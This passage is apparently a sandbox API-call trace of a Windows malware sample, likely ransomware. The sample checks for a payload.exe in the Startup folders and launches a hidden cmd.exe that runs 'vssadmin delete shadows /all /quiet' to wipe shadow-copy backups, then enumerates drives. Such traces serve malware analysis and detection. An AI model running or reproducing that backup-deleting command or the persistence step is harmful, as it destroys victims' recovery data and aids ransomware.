(HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.727] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54efb0 [0125.727] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.727] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54efd8 [0125.727] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.727] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.728] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.728] lstrlenW (lpString="kernel32.dll") returned 12 [0125.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.728] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efd8 | out: hHeap=0x510000) returned 1 [0125.728] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0125.728] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.728] CloseHandle (hObject=0x244) returned 1 [0125.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.728] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54efb0 [0125.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.728] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54ef10 [0125.728] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.728] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.728] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.728] lstrlenW (lpString="kernel32.dll") returned 12 [0125.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.728] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x23d5020 | out: hHeap=0x510000) returned 1 [0125.730] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x577fb8 [0125.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x587fc0 [0125.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efb0 [0125.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54efb0, Size=0x40) returned 0x527518 [0125.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527518, Size=0x80) returned 0x556368 [0125.731] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x556368, Size=0x100) returned 0x554e08 [0125.731] lstrlenW (lpString="") returned 0 [0125.731] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.731] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x527dd0 [0125.731] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0125.731] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x587fc0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0125.731] RegCloseKey (hKey=0x244) returned 0x0 [0125.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527dd0 | out: hHeap=0x510000) returned 1 [0125.731] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0125.731] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554e08 | out: hHeap=0x510000) returned 1 [0125.731] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x577fb8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0125.731] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x587fc0 | out: hHeap=0x510000) returned 1 [0125.732] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577fb8 | out: hHeap=0x510000) returned 1 [0125.732] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x23db020 [0125.734] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.734] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54ef10 [0125.734] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.734] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54efb0 [0125.734] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.735] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.735] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.735] lstrlenW (lpString="kernel32.dll") returned 12 [0125.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef10 | out: hHeap=0x510000) returned 1 [0125.735] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.735] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0125.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.736] CloseHandle (hObject=0x244) returned 1 [0125.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.736] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efb0 [0125.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.736] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54efd8 [0125.736] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0125.736] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0125.736] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0125.736] lstrlenW (lpString="kernel32.dll") returned 12 [0125.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efd8 | out: hHeap=0x510000) returned 1 [0125.736] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0125.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54efb0 | out: hHeap=0x510000) returned 1 [0125.736] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x23db020 | out: hHeap=0x510000) returned 1 [0125.740] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557fa8 | out: hHeap=0x510000) returned 1 [0125.740] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x567fb0 | out: hHeap=0x510000) returned 1 [0125.741] lstrlenW (lpString="%windir%\\System32") returned 17 [0125.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5275f0 | out: hHeap=0x510000) returned 1 [0125.741] lstrlenW (lpString="%appdata%") returned 9 [0125.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef88 | out: hHeap=0x510000) returned 1 [0125.741] lstrlenW (lpString="%sh(Startup)%") returned 13 [0125.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54eec0 | out: hHeap=0x510000) returned 1 [0125.741] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0125.741] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5277e8 | out: hHeap=0x510000) returned 1 [0125.741] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x554520 [0125.741] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554520, Size=0x20) returned 0x54ef88 [0125.741] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef88, Size=0x40) returned 0x5277e8 [0125.741] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5277e8, Size=0x80) returned 0x556ad8 [0125.741] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.742] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54ef88 [0125.742] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1fffc) returned 0x557fa8 [0125.742] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x577fb0 [0125.742] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x587fb8 [0125.742] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.742] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54efb0 [0125.742] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54efb0, Size=0x40) returned 0x5275f0 [0125.742] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5275f0, Size=0x80) returned 0x5571c0 [0125.742] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5571c0, Size=0x100) returned 0x554e08 [0125.742] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0125.742] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554e08 | out: hHeap=0x510000) returned 1 [0125.742] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x577fb0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0125.742] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x587fb8 | out: hHeap=0x510000) returned 1 [0125.743] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x577fb0 | out: hHeap=0x510000) returned 1 [0125.743] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0125.746] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0125.746] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0125.747] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0125.747] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdf0, dwThreadId=0xdf4)) returned 1 [0125.865] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0125.865] WriteFile (in: hFile=0x24c, lpBuffer=0x556ad8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x556ad8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0125.865] CloseHandle (hObject=0x25c) returned 1 [0125.865] CloseHandle (hObject=0x258) returned 1 [0125.865] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557fa8 | out: hHeap=0x510000) returned 1 [0125.865] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0125.865] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556ad8 | out: hHeap=0x510000) returned 1 [0125.865] lstrlenW (lpString="%comspec%") returned 9 [0125.865] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ef88 | out: hHeap=0x510000) returned 1 [0125.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0125.865] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x554520 [0125.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x554520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0125.866] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f390 [0125.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x54f390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0125.866] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.866] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54eec0 [0125.866] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54eec0, Size=0x40) returned 0x5275f0 [0125.866] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0125.866] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd0) returned 0x52b448 [0125.866] GetLogicalDrives () returned 0x4 [0125.866] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10014) returned 0x557fa8 [0125.866] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.866] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5544d8, Size=0x20) returned 0x54ef88 [0125.866] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54ef88, Size=0x40) returned 0x527ab8 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527ab8, Size=0x80) returned 0x5568b8 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5568b8, Size=0x100) returned 0x554e08 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554e08, Size=0x200) returned 0x554e08 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554e08, Size=0x400) returned 0x5572c0 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5572c0, Size=0x800) returned 0x5572c0 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5572c0, Size=0x1000) returned 0x567fc8 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x568fd0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5544d8 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x554190 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f3a0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x554358 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54f3d0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5542f8 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f3d0, Size=0x8) returned 0x54f3e0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554418 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f3e0, Size=0x10) returned 0x554370 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554310 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5541f0 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554370, Size=0x20) returned 0x54f028 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554370 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f470 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554268 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554280 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54f028, Size=0x40) returned 0x527638 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554388 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554430 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554208 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x554220 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5542c8 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554178 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f2f0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554238 [0125.867] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x527638, Size=0x80) returned 0x5562e0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554250 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554400 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5543d0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554448 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554160 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5541d8 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5543a0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f3d0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5543b8 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x554298 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5542b0 [0125.867] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5542e0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5543e8 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5541a8 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557980 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5579f8 [0125.868] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5562e0, Size=0x100) returned 0x554e08 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557a40 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557998 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5579c8 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x557968 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5579b0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5579e0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f310 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557a10 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5578f0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557aa0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54f350 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557a70 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557a88 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f3e0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557a28 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557938 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557a58 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557908 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557920 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557950 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x557578 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5575c0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x557590 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5574d0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557380 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5573b0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5575d8 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f3f0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5573e0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557320 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5573f8 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5574e8 [0125.868] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x554e08, Size=0x200) returned 0x554e08 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557458 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f400 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557500 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557470 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557440 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557518 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5572f0 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557308 [0125.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5575a8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557338 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557488 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5574a0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557410 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557530 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557350 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557428 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5574b8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557368 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557398 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x557548 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557560 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5573c8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557608 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f410 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557680 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5575f0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5578c0 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x54f420 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557638 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5578d8 [0125.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x557620 [0125.869] RtlAllocateHeap 